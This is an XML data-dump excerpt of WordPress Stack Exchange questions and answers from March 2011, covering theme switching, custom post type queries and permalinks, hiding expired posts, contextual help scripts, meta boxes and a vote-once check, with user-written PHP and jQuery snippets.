  <row Id="10796" PostTypeId="1" CreationDate="2011-03-01T06:52:50.537" Score="0" ViewCount="207" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/user-agent-theme-switcher/&quot; rel=&quot;nofollow&quot; title=&quot;User Agent Theme Switcher&quot;&gt;User Agent Theme Switcher&lt;/a&gt; plugin to detect if the user is viewing the site on a mobile device.  If so, it displays the 'mysite-mobile' theme.  The desktop version of my site uses the 'mysite' theme.  When viewing the site in mobile, I want to have a link that says, &quot;View Full Site&quot;.  This link will change the current theme ('mysite-mobile') to the 'mysite' theme and read the files in the 'mysite' theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'template', 'change_template_theme' );&#xA;add_filter( 'stylesheet', 'change_template_stylesheet' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though, I have different files in both the 'mysite-mobile' and 'mysite' themes.  When a user decides to view the full site and switch to the 'mysite' theme, I want them to be redirected to the files in the 'mysite' theme directory.  Is there a way to accomplish this?  I'd prefer not to use subdomains or multisite if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-30T09:29:16.483" LastActivityDate="2011-08-29T10:36:26.900" Title="Switch Theme via link and use that theme's files" Tags="&lt;themes&gt;&lt;mobile&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10798" PostTypeId="2" ParentId="10796" CreationDate="2011-03-01T07:06:00.763" Score="0" ViewCount="" Body="&lt;p&gt;If you use &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-switcher/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/theme-switcher/&lt;/a&gt; you can setup a drop-down menu or a list of themes available, to allow the users to select which theme they want to view the site in&lt;/p&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2011-03-01T07:06:00.763" CommentCount="1" />
  <row Id="10800" PostTypeId="2" ParentId="10792" CreationDate="2011-03-01T09:43:21.153" Score="0" ViewCount="" Body="&lt;p&gt;In the template for your recordings page you'll want to specify a custom query for the post type in question.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rec_query = new WP_Query('post_type=recording');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then later in your template, you will refer to the query object you created directly instead of relying on the default. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ($rec_query-&amp;gt;have_posts()) : $rec_query-&amp;gt;the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3605" LastActivityDate="2011-03-01T09:43:21.153" CommentCount="1" />
  <row Id="10802" PostTypeId="2" ParentId="10792" CreationDate="2011-03-01T10:23:45.707" Score="1" ViewCount="" Body="&lt;p&gt;If you are using the latest version of WordPress 3.1 the its very easy,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;copy your themes single.php file in to a new file named single-recording.php &#xA;and just before the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(have_posts()...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add&lt;/p&gt;&#xA;&#xA;&lt;p&gt;query_posts('post_type=recording');&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you want to create archive &quot;like&quot; display of you post type (similar to category listing but just for your post type) then copy your theme's archive.php file in to  a new file named  archive-recording.php &#xA;and again before the :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(have_posts()...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;$args = array(&#xA;      'paged' =&amp;gt; $paged,&#xA;      'post_type' =&amp;gt; 'recording'&#xA;);&#xA;&#xA;query_posts($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to make sure the pagination works find the line that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;endwhile; else:&#xA; ..&#xA;endif;&#xA;&#xA;//and Reset Query by adding:&#xA;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-01T10:23:45.707" CommentCount="1" />
  <row Id="10803" PostTypeId="2" ParentId="10793" CreationDate="2011-03-01T10:33:48.403" Score="2" ViewCount="" Body="&lt;p&gt;create for these posts a customfield with the name &lt;code&gt;expires&lt;/code&gt; and the value is the date for disabling the post.&#xA;Use the following code in the Loop of your theme.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Loop-Start&#xA;if (have_posts()) : while (have_posts()) : the_post();&#xA;  $exTime = get_post_custom_values('expires');&#xA;  if (is_array($exTime)) {      &#xA;  $exString= implode($exTime);&#xA;  $seconds = strtotime($exString) - time();&#xA;} else {&#xA;  $secondes = 1;&#xA;}&#xA;if ($seconds &amp;gt; 0) {&#xA;  echo &quot;&amp;lt;h2&amp;gt;&quot;;&#xA;  the_title();&#xA;  echo &quot;&amp;lt;/h2&amp;gt;&quot;;&#xA;  the_content();&#xA;}&#xA;endwhile;&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code wont delete or drafting the posts. But you don't see it in the front. Perhaos this is a possible solution for your problem?&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2011-03-01T10:33:48.403" CommentCount="1" />
  <row Id="10804" PostTypeId="1" CreationDate="2011-03-01T10:49:40.433" Score="0" ViewCount="358" Body="&lt;p&gt;Is it possible for a custom post type to have a permalink as &lt;code&gt;domain.com/custom-slug/&lt;/code&gt; instead of &lt;code&gt;domain.com/custom/custom-slug/&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't seem to achieve it. &lt;code&gt;rewrite&lt;/code&gt; argument while registering it either defaults to the latter one or a custom one by using &lt;code&gt;'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'blah-blah' )&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-03-01T18:53:29.373" Title="Permalinks in Custom Post types" Tags="&lt;custom-post-types&gt;&lt;permalinks&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="10805" PostTypeId="1" CreationDate="2011-03-01T11:25:34.537" Score="0" ViewCount="132" Body="&lt;p&gt;Until recently, my category URL (/blogs/category/[category-slug]/) was working fine, using a category.php template. Now, it's just displaying my index.php template. When I dump the value of $wp_query, I get the following strange results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(WP_Query)#206 (42) {&#xA;  [&quot;query_vars&quot;]=&amp;gt;&#xA;  array(57) {&#xA;    [&quot;category_name&quot;]=&amp;gt;&#xA;    string(7) &quot;example&quot;&#xA;    ...&#xA;  [&quot;tax_query&quot;]=&amp;gt;&#xA;  object(WP_Tax_Query)#183 (2) {&#xA;    [&quot;queries&quot;]=&amp;gt;&#xA;    array(0) {&#xA;    }&#xA;    [&quot;relation&quot;]=&amp;gt;&#xA;    string(3) &quot;AND&quot;&#xA;  }&#xA;  ...&#xA;  [&quot;is_category&quot;]=&amp;gt;&#xA;  bool(false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, as far as I can tell, something's going wrong between the matching of the URL 'parameter' to an actual category. Does anyone know what might be going wrong, or how I can go about debugging this?&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="119" LastEditorDisplayName="" LastEditDate="2011-03-01T13:00:39.837" LastActivityDate="2011-05-20T05:51:58.040" ClosedDate="2011-05-20T14:55:01.680" Title="Broken category page" Tags="&lt;categories&gt;&lt;errors&gt;&lt;3.1&gt;" AnswerCount="1" />
  <row Id="10806" PostTypeId="2" ParentId="10804" CreationDate="2011-03-01T11:31:23.057" Score="0" ViewCount="" Body="&lt;p&gt;To completely remove the slug so that the URL structure would look like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://domain.com/post-slug/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/post-slug/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in your register_post_type set&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'rewrite' =&amp;gt; array('slug' =&amp;gt; false, 'with_front' =&amp;gt; false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-01T11:31:23.057" CommentCount="3" />
  <row Id="10807" PostTypeId="1" AcceptedAnswerId="10808" CreationDate="2011-03-01T11:47:13.387" Score="0" ViewCount="128" Body="&lt;p&gt;i'm wondering if its possible to attach several images 2 a post then display those images in a thumbnail/fading gallery?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw the images should also be resized to a fixed size + thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastEditorUserId="3030" LastEditorDisplayName="" LastEditDate="2011-03-01T11:54:00.840" LastActivityDate="2011-03-01T12:11:00.560" Title="attach several images to post + gallery" Tags="&lt;images&gt;&lt;posts&gt;&lt;post-thumbnails&gt;&lt;gallery&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="10808" PostTypeId="2" ParentId="10807" CreationDate="2011-03-01T12:11:00.560" Score="1" ViewCount="" Body="&lt;p&gt;Yes, you can use the standard wordpress [gallery] shortcode, after having attacched the images to your post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To attach images to your post, you can use the button &quot;Upload Media&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upload the image from your disk and the press &quot;Save Changes&quot;. The image will be attached to your post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use the &lt;a href=&quot;http://codex.wordpress.org/Gallery_Shortcode&quot; rel=&quot;nofollow&quot; title=&quot;Gallery&quot;&gt;gallery&lt;/a&gt; shortcode to insert the gallery in your post.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-01T12:11:00.560" CommentCount="1" />
  <row Id="10809" PostTypeId="2" ParentId="4972" CreationDate="2011-03-01T12:22:09.707" Score="0" ViewCount="" Body="&lt;p&gt;try uninstalling the plugin after you update wordpress to latest and re-install it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;somehow the &quot;start over everything&quot; startegy&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-03-01T12:22:09.707" />
  <row Id="10810" PostTypeId="1" AcceptedAnswerId="10813" CreationDate="2011-03-01T12:24:16.000" Score="1" ViewCount="169" Body="&lt;p&gt;I had added some content to &lt;a href=&quot;http://codex.wordpress.org/Adding_Contextual_Help_to_Administration_Menus&quot; rel=&quot;nofollow&quot;&gt;contextual help section&lt;/a&gt; for plugin options page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'd like that page defaulted/toggled to contextual help section open on specific condition in my PHP code. My only issue is that I am not strong with JS and don't see clear approach to coding that (I know how to pass variable to JS through localize, but not what code will actually get it done).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had found &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1/wp-admin/js/common.dev.js#L203&quot; rel=&quot;nofollow&quot;&gt;relevant JS functions in source&lt;/a&gt;, but not sure how to properly reuse them for my task.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-01T13:50:08.623" Title="How to control contextual help section by code?" Tags="&lt;wp-admin&gt;&lt;javascript&gt;&lt;contextual-help&gt;" AnswerCount="2" />
  <row Id="10811" PostTypeId="2" ParentId="10699" CreationDate="2011-03-01T12:24:31.267" Score="0" ViewCount="" Body="&lt;p&gt;the fanciest : &#xA;&lt;a href=&quot;http://www.elegantthemes.com/gallery/&quot; rel=&quot;nofollow&quot;&gt;http://www.elegantthemes.com/gallery/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;30 themes and counting for 30 usd annual fee - is free for me :) and it gives quality and saves me the cost of my time searching around and checking for spam links in theme + you get support ;)&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-03-01T12:24:31.267" />
  <row Id="10812" PostTypeId="1" CreationDate="2011-03-01T12:51:02.013" Score="0" ViewCount="122" Body="&lt;p&gt;I want to take the help button/link off fron the top right of the dashboard. I dont want to do it with a plug in so if you could tell me where the code is located and what to take off that would be great thanks.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-01T13:31:49.127" Title="How to take the help button and link off the dashboard" Tags="&lt;wp-admin&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="10813" PostTypeId="2" ParentId="10810" CreationDate="2011-03-01T12:55:09.627" Score="2" ViewCount="" Body="&lt;p&gt;Injecting this whereever you find suitable (or loading it as external js via &lt;code&gt;wp_enqueue_script()&lt;/code&gt; should do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    addLoadEvent(function() {&#xA;        jQuery(document).ready(function () {&#xA;            jQuery('#contextual-help-wrap').show().addClass('contextual-help-open');&#xA;            jQuery('#contextual-help-link').css({'backgroundPosition':'bottom right'});&#xA;            jQuery('#screen-options-link-wrap').css('visibility', 'hidden');&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-01T12:55:09.627" CommentCount="2" />
  <row Id="10814" PostTypeId="1" CreationDate="2011-03-01T13:12:02.147" Score="0" ViewCount="116" Body="&lt;p&gt;Just a quick question. I have a form that calculates values based on user entry. The information is then passed via ajax to a php file for calculation returning the results. The problem is that that PHP file needs to reference the header as it needs to use the get_posts function to receive the string and collapse it into an array. Problem is that that bulks up the file massively and courses functions to execute in the header that we do not want as then the whole damn header arses up the ajax load and we get a blank screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there a way or a place to put this file whereby it can get_posts without having the bulky header load as well. Bit of code here if you are interested.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;?php&#xA;if (is_page('main-functions')) {&#xA;&#xA;$str = dataSting;&#xA;(explode(&quot;,&quot;,$str));&#xA;&#xA;$totalprice_posts = get_posts('post_type=services&amp;amp;numberposts=-1');&#xA;$totalprice_array = array();&#xA;foreach ($totalprice_posts as $post) {&#xA;    $productprice = $_POST['price'.$post-&amp;gt;ID];&#xA;    $productprice = $_POST['quant'.$post-&amp;gt;ID];&#xA;    $totalproductprice = ($productprice * $productquantity);&#xA;    array_push($totalprice_array, $totalproductprice);&#xA;}&#xA;implode(',', $totalprice_array);&#xA;$totalprice = array_sum($totalprice_array);&#xA; echo $totalprice;&#xA;&#xA;&#xA;;}&#xA;&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous.&lt;/p&gt;&#xA;" OwnerUserId="2957" LastEditorUserId="2957" LastEditorDisplayName="" LastEditDate="2011-03-01T13:17:07.963" LastActivityDate="2011-04-30T13:42:31.650" Title="Custom functions for string data calculations" Tags="&lt;php&gt;&lt;functions&gt;&lt;headers&gt;&lt;array&gt;&lt;query-string&gt;" AnswerCount="1" />
  <row Id="10815" PostTypeId="2" ParentId="10812" CreationDate="2011-03-01T13:16:06.223" Score="1" ViewCount="" Body="&lt;p&gt;The code is in &lt;code&gt;wp-admin/includes/template.php&lt;/code&gt;, function &lt;code&gt;screen_meta()&lt;/code&gt;. However, there's no hook to disable the help button, so if you want to get rid of the button, you'd have to use CSS or JS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you choose CSS, a &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.index-php .screen-meta #contextual-help-link-wrap { display: none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to get rid of the content, use the &lt;code&gt;'contextual_help'&lt;/code&gt; filter and return an empty string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('contextual_help', 'my_dashboard_help', 10, 2);&#xA;function my_dashboard_help($help, $screen_id) {&#xA;    if ($screen_id == 'dashboard') $help = '';&#xA;    return $help;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-01T13:31:49.127" LastActivityDate="2011-03-01T13:31:49.127" CommentCount="5" />
  <row Id="10816" PostTypeId="1" AcceptedAnswerId="10820" CreationDate="2011-03-01T13:20:28.337" Score="0" ViewCount="66" Body="&lt;p&gt;I've been trying to &lt;a href=&quot;http://en.support.wordpress.com/code/posting-source-code/&quot; rel=&quot;nofollow&quot;&gt;post&lt;/a&gt; some Java code to my blog, but it seems like it has some problems with the formatting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, whenever I copy/paste code into the editor, it's pasted as pre-formatted, which means that it converts the indents to spaces, all on a single line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And when I try to separate the lines by making each line of code on a single physical line, it doesn't indent them automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the visual editor, and I've checked the HTML code, and nothing seems to be wrong with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? Or is this a bug I should report to WordPress?&lt;/p&gt;&#xA;" OwnerUserId="3613" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-01T14:13:02.240" LastActivityDate="2011-03-01T14:30:30.087" Title="Formatting error with source code on WordPress.com?" Tags="&lt;wordpress.com&gt;&lt;code&gt;&lt;formatting&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10817" PostTypeId="2" ParentId="10814" CreationDate="2011-03-01T13:28:18.303" Score="1" ViewCount="" Body="&lt;p&gt;Hmm...i might be getting you wrong, but do you know that WP comes with an &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9231/whats-the-preferred-method-of-writing-ajax-enabled-plugins&quot;&gt;AJAX callback framework&lt;/a&gt; that helps you with this, making calling your own callback file unneccessary?&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-03-01T13:28:18.303" CommentCount="3" />
  <row Id="10818" PostTypeId="2" ParentId="10805" CreationDate="2011-03-01T13:43:16.993" Score="0" ViewCount="" Body="&lt;p&gt;Never mind - the problem was (eventually) tracked down to an out-of-date plugin.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2011-03-01T13:43:16.993" CommentCount="1" />
  <row Id="10819" PostTypeId="2" ParentId="10810" CreationDate="2011-03-01T13:50:08.623" Score="2" ViewCount="" Body="&lt;p&gt;You could also trigger/simulate the help button being clicked by binding to the ready event.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;jQuery(document).bind( 'ready', function() {&#xA;    jQuery('a#contextual-help-link').trigger('click');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The difference here is that you'll see the help section slide down as the page finishes loading, as if a user had clicked the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't hurt to have another option though. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-01T13:50:08.623" CommentCount="2" />
  <row Id="10820" PostTypeId="2" ParentId="10816" CreationDate="2011-03-01T14:30:30.087" Score="1" ViewCount="" Body="&lt;p&gt;Paste the code in the HTML editor, it probably won't try to convert indents and linebreaks. Surround it with the &lt;code&gt;[sourcecode]&lt;/code&gt; shortcode and only then return to the visual editor.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-01T14:30:30.087" />
  <row Id="10821" PostTypeId="1" AcceptedAnswerId="10845" CreationDate="2011-03-01T14:34:13.353" Score="0" ViewCount="367" Body="&lt;p&gt;is there a way to store the input value from multiple custom meta box fields with the same &lt;code&gt;meta_key&lt;/code&gt;?&#xA;I use the following code to store ONE value for the &lt;code&gt;meta_key&lt;/code&gt; 'startdate':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function startdate() {&#xA;  global $post;&#xA;  $custom = get_post_custom($post-&amp;gt;ID);&#xA;  $startdate = $custom[&quot;startdate&quot;][0];&#xA;  ?&amp;gt;&#xA;&#xA;&amp;lt;label&amp;gt;Startdate&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;startdate&quot; value=&quot;&amp;lt;?php echo $startdate; ?&amp;gt;&quot;/&amp;gt;&#xA;&#xA;&amp;lt;?php }&#xA;&#xA;add_action('save_post', 'save_details');&#xA;function save_details(){&#xA;  global $post;&#xA;  update_post_meta($post-&amp;gt;ID, &quot;startdate&quot;, $_POST[&quot;startdate&quot;]);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i had a second input field, how can i store its value with a different &lt;code&gt;meta_id&lt;/code&gt; but the same &lt;code&gt;meta_key&lt;/code&gt; (startdate)? Thank you very much!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(If i use the built-in custom field functionality i can save multiple values for the same meta key...)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="3480" LastActivityDate="2011-03-02T04:42:34.253" Title="How to store multiple input values with same meta_key" Tags="&lt;metabox&gt;&lt;post-meta&gt;" AnswerCount="2" CommentCount="7" />
  <row Id="10822" PostTypeId="1" CreationDate="2011-03-01T14:34:13.347" Score="1" ViewCount="154" Body="&lt;p&gt;I would like to add custom fields automatically to all my custom post types &lt;code&gt;weblogs&lt;/code&gt; based on data from the author profile field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_custom_field_automatically($post_ID) {&#xA;    global $wpdb;&#xA;    $curauth = get_userdata($author-&amp;gt;ID);&#xA;    if(!wp_is_post_revision($post_ID)) {&#xA;        $themevalue = get_the_author_meta('themeperauthor', $author-&amp;gt;ID);&#xA;        $themename = 'themeperauthor';&#xA;        add_post_meta($post_ID, $themename, $themevalue);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please help.&lt;/p&gt;&#xA;" OwnerUserId="3615" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-01T14:47:34.160" LastActivityDate="2011-03-01T15:54:17.973" Title="user Profile meta value as custom field" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="10823" PostTypeId="1" AcceptedAnswerId="10824" CreationDate="2011-03-01T14:49:21.807" Score="0" ViewCount="441" Body="&lt;p&gt;i've implemented a jQuery gallery for displaying several images within a post.&#xA;the problem is that the_content(); also displays the post image.&#xA;any ideas how to filter it?&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-03-01T15:36:08.210" Title="how to display post content without post image?" Tags="&lt;posts&gt;&lt;image&gt;&lt;filters&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="10824" PostTypeId="2" ParentId="10823" CreationDate="2011-03-01T15:36:08.210" Score="2" ViewCount="" Body="&lt;p&gt;you can add a filter to the_content hook to strip the images&lt;/p&gt;&#xA;&#xA;&lt;p&gt;something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'strip_images',2);&#xA;&#xA;function strip_images($content){&#xA;   return preg_replace('/&amp;lt;img[^&amp;gt;]+./','',$content);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-01T15:36:08.210" />
  <row Id="10825" PostTypeId="2" ParentId="2765" CreationDate="2011-03-01T15:37:01.480" Score="0" ViewCount="" Body="&lt;p&gt;I need to do something very similar. I run a multisite install and I have removed the page attributes meta box from view for my users because I don't want them to be able to change templates. I would like them to be able to change the page parent though. I need to add a new meta box for pages that adds just the page parent selector back. &lt;/p&gt;&#xA;" LastActivityDate="2011-03-01T15:37:01.480" />
  <row Id="10826" PostTypeId="1" AcceptedAnswerId="10828" CreationDate="2011-03-01T15:51:02.880" Score="0" ViewCount="211" Body="&lt;p&gt;I'm trying to get the key values for multiple posts with get_post_meta but am having no luck so far. In short, I have a function that adds 'votes' and 'thevoters' to each post. I want to check to make sure if someone's UserID is in any one of the 'thevoters' fields (spanning across multiple posts) they will not be able to vote again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following query gets the value of a specific post. I need to get the values across all posts with that key.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$voters = get_post_meta($id, 'thevoters', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My SQL query is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM `carcrazy_postmeta` WHERE meta_key='thevoters'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using this voting code as a reference - &lt;a href=&quot;http://bavotasan.com/tutorials/simple-voting-for-wordpress-with-php-and-jquery/&quot; rel=&quot;nofollow&quot;&gt;http://bavotasan.com/tutorials/simple-voting-for-wordpress-with-php-and-jquery/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2429" LastActivityDate="2011-03-01T16:08:15.390" Title="get_post_meta of multiple posts?" Tags="&lt;post-meta&gt;&lt;custom-field&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="10827" PostTypeId="2" ParentId="10822" CreationDate="2011-03-01T15:54:17.973" Score="1" ViewCount="" Body="&lt;p&gt;create a simple query and loop over all posts with your function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get all your post of that type&#xA;my_query = new WP_Query();&#xA;my_query-&amp;gt;query(array('post_type' =&amp;gt; '','posts_per_page' =&amp;gt; -1));&#xA;if (my_query-&amp;gt;have_posts()){&#xA;//loop over all post and update meta field with your function&#xA;    while (my_query-&amp;gt;have_posts()){&#xA;        my_query-&amp;gt;the_post();&#xA;        add_custom_field_automatically_new($post-&amp;gt;ID,$post-&amp;gt;post_author);&#xA;    }&#xA;}&#xA;&#xA;&#xA;//save as your function but with bit of tweaking&#xA;&#xA;function add_custom_field_automatically_new($post_ID,$post_a) {&#xA;    if(!wp_is_post_revision($post_ID)) {&#xA;        $themevalue = get_the_author_meta('themeperauthor', $post_a);&#xA;        $themename = 'themeperauthor';&#xA;        add_post_meta($post_ID, $themename, $themevalue);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after you save this remove it (it only needs to run once).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the use your old function from above and hook it to save_post hook so every time a post is saved it will run &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('save_post','add_custom_field_automatically');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-01T15:54:17.973" CommentCount="2" />
  <row Id="10828" PostTypeId="2" ParentId="10826" CreationDate="2011-03-01T16:08:15.390" Score="0" ViewCount="" Body="&lt;p&gt;why not add a filed to user meta once they have voted and just check to see if that specific user can vote?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add to your add vote function this lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $current_user;&#xA;get_currentuserinfo();&#xA;add_user_meta( $current_user-&amp;gt;ID , 'voted', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now if a user votes it saves a usermeta filed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;then you can create a simple function to check if a user can vote again:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function has_he_voted($user_id){&#xA;    $v = get_user_meta( $user_id , 'voted', true );&#xA;    if ($v = true){&#xA;        return true;&#xA;    }else{&#xA;        return false;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to use it and check if the user has voted you just call that function passing a user_id:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (has_he_voted(12)){&#xA;   //can't vote again ,you can only vote once &#xA;   //user has already voted&#xA;}else{&#xA;   //you can vote&#xA;   //user has never voted before&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-01T16:08:15.390" />
